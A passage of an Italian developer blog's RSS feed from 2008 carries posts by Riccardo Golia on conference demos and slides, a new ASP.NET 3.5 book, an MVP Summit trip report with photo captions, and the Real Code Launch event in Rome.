isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2344.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2344</trackback:ping></item><item><title>Slide e demo della mia sessione ai Community Days online</title><link>https://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</link><pubDate>Fri, 11 Jul 2008 23:20:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2322" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ho messo da qualche minuto &lt;a href="http://www.communitydays.it/events/communitydays2008milano.aspx" target="_blank"&gt;online&lt;/a&gt; le demo mostrate alla mia sessione dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonchè le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).&lt;/p&gt;&lt;p&gt;Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).&lt;/p&gt;&lt;p&gt;Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalità e a tutti i partecipanti rinnovo l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.&lt;/p&gt;&lt;p&gt;P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento nel vederli così spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti così...&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx"&gt;&lt;em&gt;Slide e demo della mia sessione ai Community Days online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</guid><slash:comments>2</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2322.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2322</trackback:ping></item><item><title>Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;</title><link>https://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</link><pubDate>Wed, 02 Jul 2008 13:45:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2305" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ebbene si, lo ha già detto &lt;a href="https://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt; &lt;a href="https://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx" target="_blank"&gt;qui&lt;/a&gt;, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (&lt;a href="https://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt;, &lt;a href="https://blogs.aspitalia.com/ricciolo" target="_blank"&gt;Ricciolo&lt;/a&gt;, &lt;a href="https://blogs.aspitalia.com/sm15455" target="_blank"&gt;Stefano&lt;/a&gt; ed io) di scrivere anche il seguito: &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;Il libro rappresenta un miglioramento di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, ma non si tratta semplicemente di un aggiornamento incrementale, bensì di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP &amp;amp; C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.&lt;/p&gt;&lt;p&gt;Chi ha avuto modo di apprezzare la densità di contenuti e la concretezza di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, non potrà non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sarà ancora una volta imbattibile, assolutamente fuori mercato (cioè basso) rispetto ad altri volumi di pari livello e dimensione.&lt;/p&gt;&lt;p&gt;Tutte le informazioni e una preview del TOC sono disponibili presso il &lt;a href="http://books.aspitalia.com/ASP.NET-3.5" target="_blank"&gt;minisito&lt;/a&gt; dedicato ad &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx"&gt;&lt;em&gt;Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Pubblicazioni</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</guid><slash:comments>3</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2305.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2305</trackback:ping></item><item><title>MVP Summit 2008</title><link>https://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</link><pubDate>Tue, 22 Apr 2008 14:00:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2274" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Venerdì scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle già note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi più o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.&lt;/p&gt;&lt;p&gt;Il viaggio non è cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non è arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e &amp;quot;consorte&amp;quot;, Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia è arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglierò una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrerà almeno un briciolo di serietà nel rimediare ai suoi disservizi.&lt;/p&gt;&lt;p&gt;Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli &amp;quot;italiani&amp;quot; di Microsoft. Inutile dire che è stata un'occasione davvero memorabile, li voglio ringraziare tutti perchè si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'università con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui è lì da quasi 10 anni, una vita in pratica... Grande!&lt;/p&gt;&lt;p&gt;La domenica è trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato più tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro così vantaggioso è stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno è stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione è stata davvero &amp;quot;showtime&amp;quot;. Domani sarà qua in Italia per un evento: chi ci potrà andare, non deve lasciarsi perdere l'occasione.&lt;/p&gt;&lt;p&gt;Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non è poi così male, la gente è gentile e disponibile ovunque, in certe occasioni è a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perchè no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avrò l'occasione, spero di poter partecipare a questo evento ancora in futuro.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, è sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.&lt;/p&gt;&lt;p&gt;Di seguito un po' di foto in ordine sparso: enjoy!&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea001.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 1:&lt;/strong&gt; viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea002.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 2: &lt;/strong&gt;in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea003.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 3:&lt;/strong&gt; è stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'università (Ivan) che lavora in Microsoft da quasi 10 anni. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea004.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 4:&lt;/strong&gt; foto di guppo dei Gladiators alla registrazione pre-conference della domenica. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea005.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 5:&lt;/strong&gt; insolita foto di gruppo: c'è un intruso... Indovina qual'è! &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea006.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 6:&lt;/strong&gt; insieme ad Alessandro &amp;quot;Garbin&amp;quot; Gallo davanti alla scatola del mitico BOB. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea007.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 7:&lt;/strong&gt; alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea008.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 8:&lt;/strong&gt; al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea009.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 9:&lt;/strong&gt; il Campus di Microsoft è una piccola città con palazzi, strade, giardini, segnaletica, ecc. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea010.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 10:&lt;/strong&gt; classica foto per chi visita il Campus di Redmond. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea011.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 11:&lt;/strong&gt; la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea012.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 12:&lt;/strong&gt; un po' di Gladiators &amp;quot;developer&amp;quot; insieme al MVP Lead italiano Alessandro &amp;quot;Alead&amp;quot; Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx"&gt;&lt;em&gt;MVP Summit 2008&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2274.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2274</trackback:ping></item><item><title>Real Code Launch 2008: demo online</title><link>https://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</link><pubDate>Tue, 18 Mar 2008 10:15:45 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2255" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: &lt;a href="http://2008launch.aspitalia.com" onclick="blankUrl(this.href); return false;"&gt;2008launch.aspitalia.com&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, &lt;a href="http://blogs.msdn.com/gabrielecastellani/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Gabriele Castellani&lt;/a&gt; e &lt;a href="http://blogs.msdn.com/pietrobr/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Pietro Brambati&lt;/a&gt; per il continuo supporto, per la fiducia e per l'&lt;a href="http://blogs.msdn.com/italy/archive/2008/03/15/msdn-talks-incontro-con-aspitalia.aspx" onclick="blankUrl(this.href); return false;"&gt;intervista stile rock-band&lt;/a&gt; (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).&lt;/p&gt; &lt;p&gt;Organizzato anche nei minimi dettagli, l'evento è stato magico e la formula si è rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/015.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.&lt;/p&gt; &lt;p&gt;Infine un ringraziamento particolare va anche agli altri {eroi} della serata: &lt;a href="https://blogs.aspitalia.com/daniele" onclick="blankUrl(this.href); return false;"&gt;Daniele&lt;/a&gt; (semplicemente perchè è quello che è, unico nel suo genere), &lt;a href="https://blogs.aspitalia.com/ricciolo" onclick="blankUrl(this.href); return false;"&gt;Ricciolo&lt;/a&gt; (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione &lt;a href="https://blogs.aspitalia.com/sm15455" onclick="blankUrl(this.href); return false;"&gt;Stefano&lt;/a&gt; (che si è divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici &amp;quot;Little Lions Boys&amp;quot; (&lt;a href="https://blogs.aspitalia.com/nostromo" onclick="blankUrl(this.href); return false;"&gt;Marco&lt;/a&gt; e &lt;a href="https://blogs.aspitalia.com/novecento" onclick="blankUrl(this.href); return false;"&gt;Alessio Leoncini&lt;/a&gt;).&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/014.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Le altre foto sono disponibili nella &lt;a href="http://live.aspitalia.com/" onclick="blankUrl(this.href); return false;"&gt;sezione LIVE di ASPItalia.com&lt;/a&gt;, in tutto sono una quindicina. Buona visione!&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx"&gt;&lt;em&gt;Real Code Launch 2008: demo online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2255.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2255</trackback:ping></item></channel></rss>